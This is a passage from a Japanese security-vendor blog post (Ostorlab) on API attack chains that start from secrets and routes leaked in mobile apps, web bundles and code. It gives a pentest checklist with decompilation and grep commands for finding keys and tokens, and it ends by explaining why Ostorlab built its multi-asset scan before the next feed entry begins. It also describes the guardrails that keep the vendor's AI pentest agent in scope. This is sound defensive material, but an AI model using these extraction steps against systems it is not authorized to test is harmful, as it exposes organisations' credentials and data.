&lt;td&gt;自分のテスト用オブジェクトに対するリクエスト（想定どおり成功する）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API2: Broken Authentication&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;バイナリやリポジトリから取り出したクライアント認証情報や長期間有効なトークン&lt;/td&gt;
&lt;td&gt;漏えいした認証情報を誰かが渡さない限り、何も見えない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API3: Broken Object Property Level Authorization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;クライアントのモデルやGraphQLの型で見つかった隠しフィールド&lt;/td&gt;
&lt;td&gt;仕様に記載されたフィールドのみ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API5: Broken Function Level Authorization (BFLA)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Webバンドル内の管理者用ルートと、WebSocketなどの二次チャネル&lt;/td&gt;
&lt;td&gt;仕様に記載されたHTTPルートと、テストアカウントに付与されたロールのみ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API8: Security Misconfiguration&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;配布された認証情報に結び付いた、過剰なスコープを持つOAuthクライアント、オーディエンス、クラウドのロール&lt;/td&gt;
&lt;td&gt;把握しているエンドポイントにおける通信やヘッダーの問題&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API9: Improper Inventory Management&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;クライアントやコードで参照されているステージングホスト、古いバージョン、デバッグ用エンドポイント&lt;/td&gt;
&lt;td&gt;与えられたインベントリのみ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;残りの4つ（API4 Unrestricted Resource Consumption、API6 Unrestricted Access to Sensitive Business Flows、API7 SSRF、API10 Unsafe Consumption of APIs）は、通常API側からテストされます。&lt;/p&gt;
&lt;h2 id="apiゲートウェイ、aspmプラットフォーム、スキャナーパイプラインがこうしたチェーンを捉えられない理由"&gt;APIゲートウェイ、ASPMプラットフォーム、スキャナーパイプラインがこうしたチェーンを捉えられない理由&lt;/h2&gt;
&lt;p&gt;ほとんどのチームは、すでにAPIゲートウェイ、ASPMプラットフォーム、あるいは複数のスキャナーを実行するCIパイプラインを持っています。それぞれ役には立ちますが、どれも単独では、漏えいした認証情報をAPIに対してテストすることはありません。よくあるチェーンを考えてみましょう。モバイルアプリにハードコードされたAPIトークンが同梱され、攻撃者がそれを使ってバックエンドを呼び出し、設定ミスによってそのトークンに管理者権限が与えられている、というものです。&lt;/p&gt;
&lt;h3 id="apiゲートウェイはリクエストを通してしまう"&gt;APIゲートウェイはリクエストを通してしまう&lt;/h3&gt;
&lt;p&gt;ゲートウェイは、リクエストの形式が正しいかを確認し、レート制限を適用し、トークンが本物で正しく署名されているかを検証します。この攻撃では、リクエストは正当で、トークンも本物です。公開アプリの中に同梱されたトークンが管理者権限を持つべきではないことを、ゲートウェイが知る術はありません。&lt;/p&gt;
&lt;h3 id="aspmによる集約では点と点がつながらない"&gt;ASPMによる集約では点と点がつながらない&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;アプリケーションセキュリティ態勢管理&lt;/strong&gt;（ASPM）プラットフォームは、モバイル、コード、APIの各スキャナーからの検出結果を一つのビューに集約します。これはトリアージや担当者の割り当てに役立ちます。しかし、相関付けがスキャン完了後に行われる場合、アセットをまたいでテストされるものは何もありません。独自のスキャナーを同梱しているプラットフォームもあるため、重要な違いは製品カテゴリではなく、相関付けがいつ行われるかです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;ASPMによる集約&lt;/th&gt;
&lt;th&gt;スキャン中の相関付け&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;相関付けが行われるタイミング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;各スキャナーが完了した後&lt;/td&gt;
&lt;td&gt;スキャン中、テストがまだ実行されている間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;相関付けの対象&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;すでに存在する検出結果&lt;/td&gt;
&lt;td&gt;生の発見事項：トークン、ルート、リクエスト形式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;漏えいしたトークンをAPIに対してテストできるか&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;集約だけではできない。2つの検出結果を関連付けるのみ&lt;/td&gt;
&lt;td&gt;できる。トークンが次のライブテストの入力になる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;出力&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;関連する2つの検出結果（重大度が異なることが多い）&lt;/td&gt;
&lt;td&gt;リクエストとレスポンスのエビデンスを伴う、検証済みの一つのチェーン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;重大度&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;各スキャナーから引き継がれる&lt;/td&gt;
&lt;td&gt;チェーンについて実証された影響に基づく&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="スキャナーパイプラインはツールを順番に実行するだけで、連携はしない"&gt;スキャナーパイプラインはツールを順番に実行するだけで、連携はしない&lt;/h3&gt;
&lt;p&gt;CIでスキャナーを連結すると、それらは一つずつ順番に実行されますが、他のスキャナーが何を見つけたかを知るものはありません。モバイルスキャナーはAPKやIPAの中にクライアントシークレットを見つけても、それがどこで使えるのかがわからず、重大度の低い静的な検出結果として登録します。APIスキャナーは公開スキーマに基づいてバックエンドをテストし、そのシークレットの存在を知ることはありません。&lt;/p&gt;
&lt;h2 id="マルチアセットスキャンはチェーン全体をどのようにテストするか"&gt;マルチアセットスキャンはチェーン全体をどのようにテストするか&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;スキャン中の相関付け&lt;/strong&gt;とは、ソースコード内のルートやクライアントバイナリ内のトークンなど、あるアセットでの発見が、ただちに稼働中のバックエンドに対するテストの入力になることを意味します。Ostorlabの&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" target="_blank"&gt;Multi-Asset Deep Agentic Scan&lt;/a&gt;は、この考え方に基づいて構築されています。Agentic Deep Scanが一度に一つのアセットを調査するのに対し、Multi-Asset Deep Agentic Scanは、モバイルアプリ、バックエンドAPI、Webフロントエンド、ソースコードなどの関連するアセットにまたがるエージェント型の調査を、単一のスキャンの中で一つ実行します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab Multi-Asset Deep Agentic Scanへのアセットの追加：アプリストアのアプリとアップロードしたモバイルアプリ、Webアプリ、ネットワーク、コードリポジトリ、ファイル" class="img-fluid" src="https://blog.ostorlab.co/static/img/26-08-26_multiasset/MultiAsset.png" title="Multi-Asset Deep Agentic Scanへのアセットの追加"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Multi-Asset Deep Agentic Scanへのアセットの追加&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図3：Multi-Asset Deep Agentic Scanへのアセットの追加。ストアから、またはファイルとして追加するモバイルアプリ、Webアプリ、ネットワーク、コードリポジトリ、そしてAPIスキーマなどの補助ファイル&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;スキャンの内部では、モバイルバイナリ、Webフロントエンド、バックエンドAPI、ソースコードのすべてが一つのライブ検証ステップに入力され、そこで漏えいしたトークンやルートがバックエンドに対してテストされます。スキャンは3つの段階で進みます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;発見&lt;/strong&gt;：エージェントはモバイルバイナリ（APK、AAB、IPA）を逆コンパイルし、WebのJavaScriptバンドル、ソースマップ、リポジトリ、ドキュメントを読み込み、計装されたAndroidおよびiOS端末上でアプリを実行してそのトラフィックをキャプチャします。また、よく知られたOpenAPIやSwaggerの配置場所を探索し、GraphQLイントロスペクションを実行します。OpenAPI（Swagger 2.0またはOpenAPI 3.x）やGraphQLのスキーマがあれば最初からカバレッジが向上しますが、必須ではありません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相関付け&lt;/strong&gt;：エンドポイント、ベースURL、OAuthのオーディエンス、リクエストパラメーター、埋め込まれたトークンなどのクライアント側のアーティファクトを、バックエンドのルートやサービスと照合します。コードやバイトコード内で見つかったシークレットは、確定した脆弱性ではなく、調査すべき手がかりとして扱われます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証&lt;/strong&gt;：もっともらしい攻撃経路はそれぞれエクスプロイトエージェントに渡され、稼働中のバックエンドに対してテストされます。たとえば、トークンで認証できるかどうか、あるいはエンドポイントが返すべきでないデータを返すかどうかを確認します。検証済みの検出結果には正確なリクエストとレスポンスが含まれるため、自社のチームで再現できます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;多くのシークレットスキャナーは認証情報らしき文字列を報告しますが、キーが有効かどうかを確認するものでさえ、それがAPIを通じて何に到達できるかまではテストしません。ここでは、チェーンと、それに伴うより高い重大度は、再現できた場合にのみ報告されます。単独の検出結果は、それ自体の重要性に基づいて引き続き報告されます。現時点では機能しない漏えいした認証情報であっても、修正する価値はあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;現在のプロトコル対応状況：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GraphQL&lt;/strong&gt;：HTTP経由のイントロスペクションまたはアップロードされたスキーマによってマッピングし、生成したクエリとミューテーションでテストします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SOAP&lt;/strong&gt;：ライブでテストします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gRPC&lt;/strong&gt;：&lt;code&gt;.proto&lt;/code&gt;定義から、認可とデータ露出のリスクを解析します。ライブのgRPC呼び出しとサーバーリフレクションにはまだ対応していません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebSocketとGraphQLサブスクリプション&lt;/strong&gt;：Multi-Asset Deep Agentic Scanは、WebSocketトランスポート上でのライブテストにはまだ対応していません。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下のチェックリストのステップ6で挙げているWebSocketの認可の欠陥は、OstorlabのAI Pentest Engineによる別の対象を絞った評価で発見されたものです。マルチアセットスキャンでは、WebSocketの認可は引き続き手動でのチェックとなります。&lt;/p&gt;
&lt;h2 id="自律型のapiテストをバックエンドに対して実行しても安全か"&gt;自律型のAPIテストをバックエンドに対して実行しても安全か&lt;/h2&gt;
&lt;p&gt;ガードレールとステージング環境の対象があれば安全です。稼働中のAPIをテストするエージェントは、損害を与えることなく影響を実証しなければならないため、Ostorlabは制御を多層的に重ねています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;エージェントへの指示&lt;/strong&gt;：エージェントは、最小限の安全な操作で影響を実証します。BOLAやBFLAの欠陥はレコードの変更ではなく認可されていない読み取りによって示し、トークンは読み取り専用のリクエストで確認します。エージェントは破壊的なコマンドの実行、リバースシェルの起動、永続化の確立、データの変更、認証情報の失効を行いません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIモデルの外部にあるスーパーバイザー&lt;/strong&gt;：独立した監督プログラムが、実行前にすべてのツール呼び出しと宛先をスキャンのスコープと照合し、スコープ外のリクエストをブロックし、エージェントがスコープ外に出ようとし続ける場合はスキャンを停止します。当社の&lt;a href="https://blog.ostorlab.co/post-mortem-autonomous-ai-scope-drift-containment.html" target="_blank"&gt;AIエージェントのスコープ逸脱に関するポストモーテム&lt;/a&gt;で、このレイヤーが重要な理由を説明しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェントの外部にある制御&lt;/strong&gt;：ファイアウォールのルールによってスキャンエージェントが到達できる範囲を制限し、リクエスト量はスキャナーのホストで上限が設けられています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;それでも当社は、専用のテストアカウントを用いて、ステージング環境または本番前の環境に対してマルチアセットスキャンを実行することを推奨しています。内部APIについては、オンプレミススキャナーが自社インフラ内のコンテナとして動作し、ジョブを受け取って検出結果を返すための外向きの接続のみを開きます。WAFやIP許可リストの背後にあるステージングAPIについては、Ostorlabのドキュメントで公開されているスキャナーのIPアドレスを許可リストに追加してください。クライアント証明書はまだスキャンの設定項目ではないため、相互TLSの背後にあるAPIについては、mTLSが終端される地点の後ろでオンプレミススキャナーを実行してください。そうすれば、スキャナーがクライアント証明書を必要とすることはありません。&lt;/p&gt;
&lt;h2 id="自社のスタックでクロスアセットのチェーンをテストする方法"&gt;自社のスタックでクロスアセットのチェーンをテストする方法&lt;/h2&gt;
&lt;p&gt;オープンソースのツールと、数時間の集中した作業から始められます。以下の8つのステップに沿って、モバイルからAPI、コードからAPI、トランスポートをまたぐチェーンを見つけてください。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;APIのすべてのクライアントを洗い出す&lt;/strong&gt;：APIを呼び出すモバイルアプリ、Webフロントエンド、パートナーとの連携、内部サービスをすべて含め、それぞれが保持する認証情報も記録します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クライアントが配布しているものを取り出す&lt;/strong&gt;：最新のAndroidビルドを逆コンパイルします（&lt;code&gt;jadx -d out app.apk&lt;/code&gt;または&lt;code&gt;apktool d app.apk&lt;/code&gt;）。iOSの場合は、復号済みのIPAに対して&lt;code&gt;unzip app.ipa -d out&lt;/code&gt;を実行します。App StoreのビルドはFairPlayで暗号化されているため、復号するまでバイナリ内の文字列は検索できません。本番環境のJavaScriptバンドルとソースマップも同じフォルダーにダウンロードします。そのうえで、キーとトークン（&lt;code&gt;grep -rEai "api[_-]?key|secret|token|bearer" out/&lt;/code&gt;。&lt;code&gt;-a&lt;/code&gt;を付けると、grepはコンパイル済みバイナリ内の一致も出力します）とホスト名（&lt;code&gt;grep -rEaoh "https?://[a-zA-Z0-9./_-]+" out/ | sort -u&lt;/code&gt;）を検索します。単一のバイナリであれば、&lt;code&gt;strings -a &amp;lt;binary&amp;gt; | grep -Ei "secret|token"&lt;/code&gt;も使えます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;見つけた認証情報をスコープの範囲内ですべてテストする&lt;/strong&gt;：OAuthクライアントごとに、テストが認可されている他のリソースサーバーやスコープに対してトークンをリクエストします（Auth0ではこのパラメーターを&lt;code&gt;audience&lt;/code&gt;、RFC 8707では&lt;code&gt;resource&lt;/code&gt;と呼びます）。案件で許可されている範囲を超えて、やみくもに列挙しないでください。APIキーごとに、スコープ内のどのホストと環境がそのキーを受け付けるかを確認します。&lt;a href="https://blog.ostorlab.co/hardcoded-secrets.html" target="_blank"&gt;ハードコードされたシークレットの発見と検証&lt;/a&gt;に関する当社のガイドでは、漏えいしたキーで何ができるかを確認する方法を紹介しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;発見したルートを仕様と比較する&lt;/strong&gt;：クライアントやコードには現れるものの、OpenAPIやGraphQLのスキーマには存在しないルートは、シャドーAPIの候補です。意図的に文書化されていない、動的である、あるいはスコープ外である可能性もあるため、シャドーAPIとして扱う前に、稼働中であること、APIとして公開されていること、管理されていないこと、テストが認可されていることを確認してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ロールとテナントを掛け合わせたアカウントマトリクスで認可をテストする&lt;/strong&gt;：汎用ユーザー2人では不十分です。すべての操作について、テナントをまたいだ同一ロールでのアクセスと、テナント内でのロールをまたいだアクセスをテストします。&lt;code&gt;id&lt;/code&gt;を受け付ける作成エンドポイントも含めてください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTPだけでなく、すべてのトランスポートをテストする&lt;/strong&gt;：それぞれに固有のチェックが必要です。WebSocketについては、接続時とすべての操作で認可をテストします。gRPCについては、メソッドレベルの認可とメタデータの処理をテストします。Webhookについては、署名、タイムスタンプ、リプレイ対策、テナントへのルーティングを検証します。&lt;a href="https://blog.ostorlab.co/ai-pentest-websocket-bfla-graphql.html" target="_blank"&gt;OstorlabのAI Pentest EngineによるあるGraphQLの評価&lt;/a&gt;では、APIはHTTP上ではロールを適用していましたが、認証されていないWebSocketのサブスクリプションを受け付けていました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;古いバージョンとホストを確認する&lt;/strong&gt;：&lt;code&gt;/v2/&lt;/code&gt;が最新の場合でも&lt;code&gt;/v1/&lt;/code&gt;を呼び出し、クライアントで参照されているステージングホストを試します。&lt;a href="https://blog.ostorlab.co/ai-engine-password-reset-version-confusion.html" target="_blank"&gt;APIバージョンの不一致がアカウント乗っ取りにつながった事例&lt;/a&gt;を紹介しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リリースのたびに繰り返す&lt;/strong&gt;：新しいモバイルビルドには、前回の評価では見えなかったシークレットが含まれている可能性があります。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;このチェックリストを自動化したい場合&lt;/strong&gt;：&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" target="_blank"&gt;Multi-Asset Deep Agentic Scan&lt;/a&gt;は、抽出、認証情報、ルート、認可の各ステップを一つのスキャンで自動化します。モバイルアプリが配布しているものを取り出し、認証情報とルートを稼働中のAPIに対してテストし、再現できたチェーンを報告します。ステップ6のWebSocketのチェックは、現時点では引き続き手動です。&lt;/p&gt;
&lt;h2 id="クロスアセット攻撃チェーンを防ぐ方法"&gt;クロスアセット攻撃チェーンを防ぐ方法&lt;/h2&gt;
&lt;p&gt;これらの修正はアーキテクチャに関わるものです。サーバー側、またはクライアントの構築方法の中にあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特権的なシークレットをクライアントに置かない&lt;/strong&gt;：モバイルアプリやWebバンドルに同梱したものはすべて公開されているものとして扱います。ネイティブアプリでは、PKCEを用いたAuthorization Codeフローでユーザーをサインインさせ、短期間有効なユーザーごとのトークンだけを保持するようにします。ブラウザーアプリでは、Backend for Frontend（BFF）を使ってトークンをクライアントから遠ざけられます。&lt;a href="https://blog.ostorlab.co/hardcoded-secrets.html" target="_blank"&gt;ハードコードされたシークレット&lt;/a&gt;に関する当社のガイドで、よくあるパターンを解説しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マシン認証情報のスコープを厳しく限定する&lt;/strong&gt;：各M2Mクライアントには、必要最小限のスコープで一つのAPIへのアクセスのみを付与し、他のオーディエンスに対するトークンリクエストにはアラートを出します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経路だけでなく認証情報を再テストする&lt;/strong&gt;：漏えいした認証情報を修正する際は、アプリが使用するものだけでなく、その認証情報がまだ到達できるすべてのオーディエンスとスコープを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;すべての操作でサーバー側で所有権を適用する&lt;/strong&gt;：オブジェクトは認証済みユーザーから解決し、リクエストボディ内の&lt;code&gt;id&lt;/code&gt;だけで決して解決しないでください。作成時には、サーバーが所有する既存オブジェクトの識別子を拒否し（または挿入専用のセマンティクスを適用し）、所有権を確認します。新しいオブジェクトに対してクライアントが生成するUUIDは問題ない場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トランスポートをまたいで一つの認可ポリシーを使う&lt;/strong&gt;：WebSocketやgRPCは必ずしもHTTPのミドルウェアを再利用できないため、ポリシーを一元的に定義し、接続、各操作やリゾルバー、各メッセージやイベント、gRPCのインターセプターといった各境界で適用します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インベントリをセキュリティ制御として扱う&lt;/strong&gt;：古いバージョンやステージングホストを廃止し、仕様をクライアントが実際に呼び出すものと同期させておきます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問(faq)"&gt;よくある質問（FAQ）&lt;/h2&gt;
&lt;h3 id="apiセキュリティにおけるクロスアセット攻撃チェーンとは何ですか"&gt;APIセキュリティにおけるクロスアセット攻撃チェーンとは何ですか&lt;/h3&gt;
&lt;p&gt;クロスアセット攻撃チェーンは、モバイルアプリ、Webフロントエンド、ソースコード、バックエンドAPIなど、複数のアセットにある弱点を組み合わせたものです。典型的なチェーンでは、クライアントから認証情報やルートを取り出し、それを正当なAPIリクエストとして再送し、BOLAやBFLAなどの認可の欠陥を突いて権限を昇格させます。&lt;/p&gt;
&lt;h3 id="apiスキャナーがモバイルアプリにハードコードされたシークレットを検出できないのはなぜですか"&gt;APIスキャナーがモバイルアプリにハードコードされたシークレットを検出できないのはなぜですか&lt;/h3&gt;
&lt;p&gt;APIスキャナーは、与えられた認証情報と仕様を使って稼働中のバックエンドをテストします。モバイルバイナリを逆コンパイルしないため、アプリにコンパイルされたシークレットを目にすることはなく、それらのシークレットをAPIに対してテストする理由もありません。&lt;/p&gt;
&lt;h3 id="aspmとマルチアセットスキャンの違いは何ですか"&gt;ASPMとマルチアセットスキャンの違いは何ですか&lt;/h3&gt;
&lt;p&gt;ASPMプラットフォームは、各スキャンが完了した後に、個別のスキャナーからの検出結果を一つのダッシュボードに集約します。マルチアセットスキャンは、スキャン中の相関付けを行います。モバイルバイナリ内のトークンなど、あるアセットでの発見を同じスキャンの中で使用してバックエンドAPIに対するライブテストを実行し、再現できたチェーンだけを報告します。&lt;/p&gt;
&lt;h3 id="クライアントやコードのコンテキストがあると見つけやすくなるowasp api top 10のリスクはどれですか"&gt;クライアントやコードのコンテキストがあると見つけやすくなるOWASP API Top 10のリスクはどれですか&lt;/h3&gt;
&lt;p&gt;OWASP API Top 10のリスクはすべてサーバー側で修正されるものですが、オブジェクトレベルの認可の不備（API1）、認証の不備（API2）、オブジェクトプロパティレベルの認可の不備（API3）、機能レベルの認可の不備（API5）、セキュリティ設定ミス（API8）、不適切なインベントリ管理（API9）は、モバイルアプリ、Webバンドル、ソースコードから取得した認証情報、ルート、リクエスト形式があると、発見や検証が容易になることがよくあります。&lt;/p&gt;
&lt;h3 id="モバイルアプリのバックエンドapiでbolaをテストするにはどうすればよいですか"&gt;モバイルアプリのバックエンドAPIでBOLAをテストするにはどうすればよいですか&lt;/h3&gt;
&lt;p&gt;アプリを逆コンパイルして、エンドポイント、識別子の形式、リクエストの署名や暗号化の有無を把握します。次に、一つのアカウントでオブジェクトを作成し、アプリの正確なリクエスト形式を再現しながら、2つ目のアカウントでそれらを読み取り、変更し、削除します。オブジェクトIDを受け付ける作成エンドポイントについても同様に繰り返します。&lt;/p&gt;
&lt;h3 id="漏えいしたモバイルapiキーはローテーションするだけで十分ですか"&gt;漏えいしたモバイルAPIキーはローテーションするだけで十分ですか&lt;/h3&gt;
&lt;p&gt;キーによって異なります。モバイルAPIキーの中には、公開されることを前提に設計され、アプリ、プラットフォーム、クォータによって制限されているものもあり、その場合は露出しただけでは侵害にはなりません。漏えいしたのが特権的なシークレットであれば、ローテーションだけでは不十分です。次のビルドでも新しいシークレットが同じ方法で配布されてしまうからです。失効させてローテーションしたうえで、クライアントから削除し、バックエンドサービスから短期間有効なユーザーごとのトークンを発行してください。&lt;/p&gt;
&lt;h2 id="当社がマルチアセットテストを構築した理由"&gt;当社がマルチアセットテストを構築した理由&lt;/h2&gt;
&lt;p&gt;当社は、チームがコード、モバイルアプリ、APIに対して別々のスキャナーを実行し、その結果を手作業で突き合わせている一方で、重要なチェーンがクライアントバイナリから取り出された認証情報を経由して進んでいる状況を何度も目にしてきました。&lt;/p&gt;
&lt;p&gt;そこで当社は&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" target="_blank"&gt;Multi-Asset Deep Agentic Scan&lt;/a&gt;を構築しました。クライアントバイナリで見つかったトークンを稼働中のバックエンドに対するライブテストへとつなげ、再現できたチェーンだけを報告する、一つのループです。&lt;/p&gt;
&lt;p&gt;APIテストツールをより幅広く比較したい場合は、&lt;a href="https://blog.ostorlab.co/best-api-security-testing-tools-2026.html" target="_blank"&gt;2026年版APIセキュリティテストツールの比較&lt;/a&gt;をご覧ください。マルチアセットスキャンが自社のモバイルアプリやAPIで何を見つけるかを確かめるには、&lt;a href="https://ostorlab.co/demo" target="_blank"&gt;当社のセキュリティエンジニアリングチームによるデモをご予約ください&lt;/a&gt;。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "BlogPosting",
      "@id": "https://blog.ostorlab.co/why-api-security-testing-alone-fails.html#article",
      "url": "https://blog.ostorlab.co/why-api-security-testing-alone-fails.html",
      "headline": "APIセキュリティテストだけではクロスアセット攻撃チェーンを見逃す理由",
      "description": "APIだけを対象とするスキャナーは、モバイルアプリ、Webバンドル、コード内のシークレットやルートから始まる攻撃チェーンを見逃します。実際の2つのチェーンと8ステップのテストチェックリストを紹介します。",
      "image": "https://blog.ostorlab.co/static/img/2026-09-25_why_api_testing_alone_fails/cover.png",
      "datePublished": "2026-09-25T14:00:00",
      "dateModified": "2026-09-26T10:00:00",
      "author": {
        "@type": "Person",
        "name": "Bilal Harras"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      }
    },
    {
      "@id": "https://blog.ostorlab.co/why-api-security-testing-alone-fails.html",
      "url": "https://blog.ostorlab.co/why-api-security-testing-alone-fails.html",
      "@type": "FAQPage",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "APIセキュリティにおけるクロスアセット攻撃チェーンとは何ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "クロスアセット攻撃チェーンは、モバイルアプリ、Webフロントエンド、ソースコード、バックエンドAPIなど、複数のアセットにある弱点を組み合わせたものです。典型的なチェーンでは、クライアントから認証情報やルートを取り出し、それを正当なAPIリクエストとして再送し、BOLAやBFLAなどの認可の欠陥を突いて権限を昇格させます。"
          }
        },
        {
          "@type": "Question",
          "name": "APIスキャナーがモバイルアプリにハードコードされたシークレットを検出できないのはなぜですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "APIスキャナーは、与えられた認証情報と仕様を使って稼働中のバックエンドをテストします。モバイルバイナリを逆コンパイルしないため、アプリにコンパイルされたシークレットを目にすることはなく、それらのシークレットをAPIに対してテストする理由もありません。"
          }
        },
        {
          "@type": "Question",
          "name": "ASPMとマルチアセットスキャンの違いは何ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "ASPMプラットフォームは、各スキャンが完了した後に、個別のスキャナーからの検出結果を一つのダッシュボードに集約します。マルチアセットスキャンは、スキャン中の相関付けを行います。モバイルバイナリ内のトークンなど、あるアセットでの発見を同じスキャンの中で使用してバックエンドAPIに対するライブテストを実行し、再現できたチェーンだけを報告します。"
          }
        },
        {
          "@type": "Question",
          "name": "クライアントやコードのコンテキストがあると見つけやすくなるOWASP API Top 10のリスクはどれですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "OWASP API Top 10のリスクはすべてサーバー側で修正されるものですが、オブジェクトレベルの認可の不備（API1）、認証の不備（API2）、オブジェクトプロパティレベルの認可の不備（API3）、機能レベルの認可の不備（API5）、セキュリティ設定ミス（API8）、不適切なインベントリ管理（API9）は、モバイルアプリ、Webバンドル、ソースコードから取得した認証情報、ルート、リクエスト形式があると、発見や検証が容易になることがよくあります。"
          }
        },
        {
          "@type": "Question",
          "name": "モバイルアプリのバックエンドAPIでBOLAをテストするにはどうすればよいですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "アプリを逆コンパイルして、エンドポイント、識別子の形式、リクエストの署名や暗号化の有無を把握します。次に、一つのアカウントでオブジェクトを作成し、アプリの正確なリクエスト形式を再現しながら、2つ目のアカウントでそれらを読み取り、変更し、削除します。オブジェクトIDを受け付ける作成エンドポイントについても同様に繰り返します。"
          }
        },
        {
          "@type": "Question",
          "name": "漏えいしたモバイルAPIキーはローテーションするだけで十分ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "キーによって異なります。モバイルAPIキーの中には、公開されることを前提に設計され、アプリ、プラットフォーム、クォータによって制限されているものもあり、その場合は露出しただけでは侵害にはなりません。漏えいしたのが特権的なシークレットであれば、ローテーションだけでは不十分です。次のビルドでも新しいシークレットが同じ方法で配布されてしまうからです。失効させてローテーションしたうえで、クライアントから削除し、バックエンドサービスから短期間有効なユーザーごとのトークンを発行してください。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="API Security"/><category term="Cross-Asset Attack Chains"/><category term="BOLA"/><category term="BFLA"/><category term="Mobile Security"/><category term="Hardcoded Secrets"/><category term="ASPM"/><category term="Multi-Asset"/><category term="Agentic Deep Scan"/></entry><entry><title>SOC 2向けAIペンテスト：6社のプロバイダーを比較</title><link href="https://blog.ostorlab.co/ja/soc-2-ai-pentesting-providers-comparison.html" rel="alternate"/><published>2026-09-25T10:00:00+02:00</published><updated>2026-10-06T10:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-09-25:/ja/soc-2-ai-pentesting-providers-comparison.html</id><summary type="html">&lt;p&gt;SOC 2向けのペンテストについて、Ostorlab、XBOW、Aikido、Intruder、Escape、Pentiを、エクスプロイトのエビデンス、人間によるレビュー、サンプルレポート、再テスト、価格の観点で比較します。&lt;/p&gt;</summary><content type="html">&lt;h2 